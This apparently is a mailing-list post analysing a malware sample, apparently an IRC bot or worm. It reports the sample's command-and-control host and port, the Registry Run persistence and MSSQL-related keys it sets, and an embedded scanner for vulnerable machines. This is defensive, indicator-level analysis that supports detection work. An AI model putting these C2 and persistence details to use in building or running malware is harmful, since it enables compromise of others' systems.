    Hi All,
    
    Analysed it a bit further (thanks to VMware and netmonitor) and
    once it is started it connects to an irc server at bots.kujikiri.net,
    port 6669. From the rest of the capture it seems it drops a message
    there with the name of the machine it compromised and a password
    like string.
    
    It furthermore (see strings output on executable, scan for registry
    keys) adds itself to the Run entry in the registry so it is started
    each time the machine is booted. A few of the registry keys:
    
    
    SOFTWARE\Microsoft\Windows\CurrentVersion\Run\TaskReg
    
    SOFTWARE\Microsoft\MSSQLServer\Client\SuperSocketNetLib\ProtocolOrder
    
    SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo\DSQUERY
    
    From the strings output it seems to contain a scanner (sm6 ..) that
    will scan for new vulnerable machines. I'm not quite sure if and so,
    how, it is controlled from the IRC channel. I've tested it on our
    testing network so I'm not quite sure yet.
    
    I've attached the netmon capture file to this message.
    
    grtz,
    
    Arthur
